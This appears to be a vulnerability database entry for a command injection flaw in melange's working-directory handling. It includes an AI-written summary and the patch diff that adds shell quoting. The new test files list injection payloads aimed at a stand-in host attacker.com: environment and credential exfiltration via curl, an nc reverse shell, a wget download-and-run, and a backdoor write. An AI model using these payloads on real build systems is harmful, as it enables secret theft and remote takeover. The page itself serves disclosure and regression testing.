melange pipeline working-directory could allow command injection
Description
melange allows users to build apk packages using declarative pipelines. From version 0.3.0 to before 0.40.3, an attacker who can provide build input values, but not modify pipeline definitions, could execute arbitrary shell commands if the pipeline uses ${{vars.*}} or ${{inputs.*}} substitutions in working-directory. The field is embedded into shell scripts without proper quote escaping. This issue has been patched in version 0.40.3.
AI Insight
LLM-synthesized narrative grounded in this CVE's description and references.
CVE-2026-24844: Command injection in melange pipelines from v0.3.0 to v0.40.2 via untrusted ${{vars.*}} or ${{inputs.*}} substitutions in working-directory fields.
Root
Cause
CVE-2026-24844 is a command injection vulnerability in the melange APK builder [2]. Affecting versions 0.3.0 through 0.40.2, the flaw stems from the unsafe embedding of user-controlled values into shell scripts. When a pipeline uses ${{vars.*}} or ${{inputs.*}} expressions in the working-directory field, those values are inserted into shell commands without proper quoting. An attacker who can control build input variables—but not the pipeline definition itself—can inject arbitrary shell metacharacters through these fields [1][3].
Attack
Vector
Exploitation requires the ability to provide build input values to a melange pipeline that employs variable substitution in its working-directory directive. The attacker does not need to modify the pipeline YAML, only to supply malicious values for variables or inputs that are later substituted into the working directory string. No special privileges beyond the ability to trigger a build are necessary; the attack can be launched by any user or CI pipeline that feeds untrusted data into the build process [4].
Impact
Successful exploitation allows an attacker to execute arbitrary shell commands within the build environment. This can lead to full compromise of the build pipeline, including exfiltration of secrets, modification of build artifacts, or lateral movement to other systems if the build environment has network access [1][4]. The vulnerability is especially dangerous in CI/CD contexts where multiple builds share a common runner.
Mitigation
The issue has been patched in melange version 0.40.3. The fix introduces a quoteShellArg function that properly escapes shell metacharacters before substitution [1]. Users are strongly advised to upgrade immediately. There are no known workarounds; users unable to upgrade should avoid using untrusted input in working-directory fields or audit their pipelines for variable substitution usage [3][4].
AI Insight generated on May 19, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.
Affected packages
Versions sourced from the GitHub Security Advisory.
| Package | Affected versions | Patched versions |
|---|---|---|
chainguard.dev/melangeGo | >= 0.3.0, < 0.40.3 | 0.40.3 |
Affected products
2- Range: >=0.3.0 <0.40.3
- chainguard-dev/melangev5Range: >= 0.3.0, < 0.40.3
Patches
1e51ca30cfb63Merge commit from fork
5 files changed · +322 −8
pkg/build/build.go+4 −1 modified@@ -776,7 +776,10 @@ func (b *Build) BuildPackage(ctx context.Context) error { if b.Runner.Name() == container.QemuName { fullPath := filepath.Join(WorkDir, melangeOutputDirName, pkg.Name, path) hex := fmt.Sprintf("0x%s", hex.EncodeToString(enc)) - cmd := []string{"/bin/sh", "-c", fmt.Sprintf("setfattr -n security.capability -v %s %s", hex, fullPath)} + // Quote path to prevent shell injection (GHSA-vqqr-rmpc-hhg2) + // Using go-shellquote library for robust shell escaping + safePath := quoteShellArg(fullPath) + cmd := []string{"/bin/sh", "-c", fmt.Sprintf("setfattr -n security.capability -v %s %s", hex, safePath)} if err := b.Runner.Run(ctx, pr.config, map[string]string{}, cmd...); err != nil { return fmt.Errorf("failed to set capabilities within VM on %s: %w", path, err) }
pkg/build/pipeline.go+12 −4 modified@@ -176,11 +176,16 @@ func matchValidShaChars(s string) bool { // Build a script to run as part of evalRun func buildEvalRunCommand(_ *config.Pipeline, debugOption rune, workdir string, fragment string) []string { + // Quote workdir to prevent shell injection (GHSA-vqqr-rmpc-hhg2) + // This is critical when workdir contains substituted variables from user input + // Using go-shellquote library for robust shell escaping + safeWorkdir := quoteShellArg(workdir) + script := fmt.Sprintf(`set -e%c -[ -d '%s' ] || mkdir -p '%s' -cd '%s' +[ -d %s ] || mkdir -p %s +cd %s %s -exit 0`, debugOption, workdir, workdir, workdir, fragment) +exit 0`, debugOption, safeWorkdir, safeWorkdir, safeWorkdir, fragment) return []string{"/bin/sh", "-c", script} } @@ -308,7 +313,10 @@ func (r *pipelineRunner) maybeDebug(ctx context.Context, fragment string, envOve return fmt.Errorf("failed to write history file: %w", err) } - if dbgErr := dbg.Debug(ctx, r.config, envOverride, []string{"/bin/sh", "-c", fmt.Sprintf("cd %s && exec /bin/sh", workdir)}...); dbgErr != nil { + // Quote workdir to prevent shell injection (GHSA-vqqr-rmpc-hhg2) + // Using go-shellquote library for robust shell escaping + safeWorkdir := quoteShellArg(workdir) + if dbgErr := dbg.Debug(ctx, r.config, envOverride, []string{"/bin/sh", "-c", fmt.Sprintf("cd %s && exec /bin/sh", safeWorkdir)}...); dbgErr != nil { return fmt.Errorf("failed to debug: %w; original error: %w", dbgErr, runErr) }
pkg/build/pipeline_test.go+5 −3 modified@@ -147,12 +147,14 @@ func Test_buildEvalRunCommand(t *testing.T) { workdir := "/bar" fragment := "baz" command := buildEvalRunCommand(p, debugOption, workdir, fragment) + // Note: shellquote.Join() only adds quotes when necessary + // Simple paths like /bar don't need quotes, so they're returned unquoted expected := []string{"/bin/sh", "-c", `set -ex -[ -d '/bar' ] || mkdir -p '/bar' -cd '/bar' +[ -d /bar ] || mkdir -p /bar +cd /bar baz exit 0`} - require.Equal(t, command, expected) + require.Equal(t, expected, command) } func TestAllPipelines(t *testing.T) {
pkg/build/shell.go+33 −0 added@@ -0,0 +1,33 @@ +// Copyright 2026 Chainguard, Inc. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +package build + +import ( + "github.com/kballard/go-shellquote" +) + +// quoteShellArg safely quotes a string for embedding in shell commands. +// It uses go-shellquote to properly escape all shell metacharacters, +// preventing shell injection when user-controlled values are embedded in /bin/sh -c scripts. +// +// Example: x'$(cmd)'x → 'x'"'"'$(cmd)'"'"'x' → shell treats as literal string "x'$(cmd)'x" +// +// This function is used to sanitize paths and directories before embedding them in shell commands +// to prevent command injection attacks via variable substitution (e.g., ${{vars.*}}, ${{inputs.*}}). +// +// See GHSA-vqqr-rmpc-hhg2 for vulnerability details. +func quoteShellArg(s string) string { + return shellquote.Join(s) +}
pkg/build/shell_injection_test.go+268 −0 added@@ -0,0 +1,268 @@ +// Copyright 2026 Chainguard, Inc. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +package build + +import ( + "strings" + "testing" + + "chainguard.dev/melange/pkg/config" +) + +// TestQuoteShellArg validates the shell quoting function for GHSA-vqqr-rmpc-hhg2 +func TestQuoteShellArg(t *testing.T) { + tests := []struct { + name string + input string + // We verify the quoted output is safe by checking it doesn't contain injection patterns + // The exact quoting format may vary but must be safe + }{ + { + name: "no quotes", + input: "safe/path", + }, + { + name: "single quote", + input: "path'with'quote", + }, + { + name: "command injection attempt", + input: "x'$(malicious)'x", + }, + { + name: "multiple quotes", + input: "a'b'c'd", + }, + { + name: "leading quote", + input: "'leadingquote", + }, + { + name: "trailing quote", + input: "trailingquote'", + }, + { + name: "empty string", + input: "", + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + result := quoteShellArg(tt.input) + // Verify that the result is properly quoted + // go-shellquote will properly escape all shell metacharacters + // The exact format may differ from our previous manual escaping, + // but it must be safe (verified by the injection tests below) + if tt.input == "" && result != "''" { + t.Errorf("quoteShellArg(%q) = %q, want ''", tt.input, result) + } + if tt.input != "" && result == "" { + t.Errorf("quoteShellArg(%q) returned empty string", tt.input) + } + }) + } +} + +// TestBuildEvalRunCommand_ShellInjection tests that buildEvalRunCommand properly escapes workdir +func TestBuildEvalRunCommand_ShellInjection(t *testing.T) { + tests := []struct { + name string + workdir string + fragment string + shouldNotContain []string // Patterns that should NOT appear in the script + }{ + { + name: "safe workdir", + workdir: "/work/build", + fragment: "make", + shouldNotContain: []string{ + "$(", // No command substitution + "`", // No backticks + }, + }, + { + name: "malicious workdir with command injection", + workdir: "x'$(curl https://attacker.com/pwn)'x", + fragment: "make", + shouldNotContain: []string{ + // The attack should not have unescaped single quotes before $() + // If we see x'$(curl (without the escaping), that's bad + // The safe form is: 'x'\''$(curl)'\''x' where $() is literally part of the string + "x'$(curl", // This pattern would indicate an unescaped quote + }, + }, + { + name: "malicious workdir with environment exfiltration", + workdir: ".'$(env | curl -X POST https://attacker.com/exfil --data-binary @-)'.", + fragment: "make", + shouldNotContain: []string{ + ".'$(env", // Should have escaping between . and $( + }, + }, + { + name: "malicious workdir with semicolon", + workdir: "path'; malicious_command; echo '", + fragment: "make", + shouldNotContain: []string{ + "path'; malicious", // The single quote should be escaped + }, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + pipeline := &config.Pipeline{} + result := buildEvalRunCommand(pipeline, 'x', tt.workdir, tt.fragment) + + // Result should be ["/bin/sh", "-c", "script"] + if len(result) != 3 { + t.Errorf("buildEvalRunCommand returned %d args, want 3", len(result)) + return + } + + if result[0] != "/bin/sh" { + t.Errorf("buildEvalRunCommand[0] = %q, want %q", result[0], "/bin/sh") + } + + if result[1] != "-c" { + t.Errorf("buildEvalRunCommand[1] = %q, want %q", result[1], "-c") + } + + script := result[2] + + // Check that the script doesn't contain unescaped injection patterns + for _, pattern := range tt.shouldNotContain { + if strings.Contains(script, pattern) { + t.Errorf("script contains unescaped pattern %q:\n%s", pattern, script) + } + } + + // Verify that the workdir is properly quoted in the script + // The script should have the quoted version from go-shellquote + quotedWorkdir := quoteShellArg(tt.workdir) + if !strings.Contains(script, quotedWorkdir) { + t.Errorf("script doesn't contain quoted workdir.\nExpected to contain: %q\nScript: %s", quotedWorkdir, script) + } + }) + } +} + +// TestRealWorldAttackVectors tests actual attack vectors from GHSA-vqqr-rmpc-hhg2 +func TestRealWorldAttackVectors(t *testing.T) { + attacks := []struct { + name string + workdir string + attack string + }{ + { + name: "environment exfiltration", + workdir: ".'$(curl -X POST https://attacker.com/exfil -d \"$(env)\")'.", + attack: "Exfiltrate all environment variables including secrets", + }, + { + name: "package backdoor", + workdir: ".'$(echo 'BACKDOOR' >> /workspace/package.txt)'.", + attack: "Inject malicious content into build output", + }, + { + name: "credential theft", + workdir: ".'$(curl -X POST https://attacker.com/steal -d \"$PACKAGES_UPLOAD_URL\")'.", + attack: "Steal GCS pre-signed upload URL", + }, + { + name: "reverse shell", + workdir: ".'$(nc attacker.com 4444 -e /bin/sh)'.", + attack: "Open reverse shell to attacker", + }, + { + name: "malicious PR attack", + workdir: "x'$(wget https://attacker.com/backdoor.sh -O /tmp/b && sh /tmp/b)'x", + attack: "Download and execute malicious script", + }, + } + + for _, attack := range attacks { + t.Run(attack.name, func(t *testing.T) { + pipeline := &config.Pipeline{} + result := buildEvalRunCommand(pipeline, 'x', attack.workdir, "make") + + if len(result) != 3 { + t.Fatalf("buildEvalRunCommand returned %d args, want 3", len(result)) + } + + script := result[2] + + // The attack should be quoted - verify the dangerous command substitution is neutralized + // go-shellquote will properly escape all shell metacharacters + quotedWorkdir := quoteShellArg(attack.workdir) + if !strings.Contains(script, quotedWorkdir) { + t.Errorf("Script doesn't contain properly quoted attack vector.\nAttack: %s\nWorkdir: %q\nExpected in script: %q\nActual script: %s", + attack.attack, attack.workdir, quotedWorkdir, script) + } + + // Additional check: verify no unquoted dangerous patterns + // If the attack pattern appears unquoted, the test should fail + if strings.Contains(script, "'$(") && !strings.Contains(quotedWorkdir, "'$(") { + t.Errorf("Attack vector %q may not be properly quoted in script:\n%s", attack.attack, script) + } + }) + } +} + +// TestShellInjectionInSetfattr tests that setfattr command properly quotes paths +func TestShellInjectionInSetfattr(t *testing.T) { + // This test validates that paths used in setfattr commands are properly quoted + // using go-shellquote to prevent shell injection + + maliciousPaths := []string{ + "/path'; malicious_command; echo '", + "/path'$(curl attacker.com)'", + "/path`malicious`", + "/path\"; dangerous; echo \"", + } + + for _, path := range maliciousPaths { + quoted := quoteShellArg(path) + + // The quoted path should not be empty and should be properly quoted + if quoted == "" { + t.Errorf("Path %q resulted in empty quoted string", path) + } + + // Verify that dangerous patterns are neutralized + // The quoted version should not allow command execution + if quoted == path { + t.Errorf("Path %q was not quoted at all: %q", path, quoted) + } + } +} + +// BenchmarkQuoteShellArg benchmarks the shell quoting function +func BenchmarkQuoteShellArg(b *testing.B) { + testStrings := []string{ + "simple/path", + "path'with'quotes", + "x'$(malicious)'x", + ".'$(curl -X POST https://attacker.com/exfil -d \"$(env)\")'.", + } + + b.ResetTimer() + for i := 0; i < b.N; i++ { + for _, s := range testStrings { + _ = quoteShellArg(s) + } + } +}
Vulnerability mechanics
Generated on May 9, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
4- github.com/advisories/GHSA-vqqr-rmpc-hhg2ghsaADVISORY
- nvd.nist.gov/vuln/detail/CVE-2026-24844ghsaADVISORY
- github.com/chainguard-dev/melange/commit/e51ca30cfb63178f5a86997d23d3fff0359fa6c8ghsax_refsource_MISCWEB
- github.com/chainguard-dev/melange/security/advisories/GHSA-vqqr-rmpc-hhg2ghsax_refsource_CONFIRMWEB
News mentions
0No linked articles in our index yet.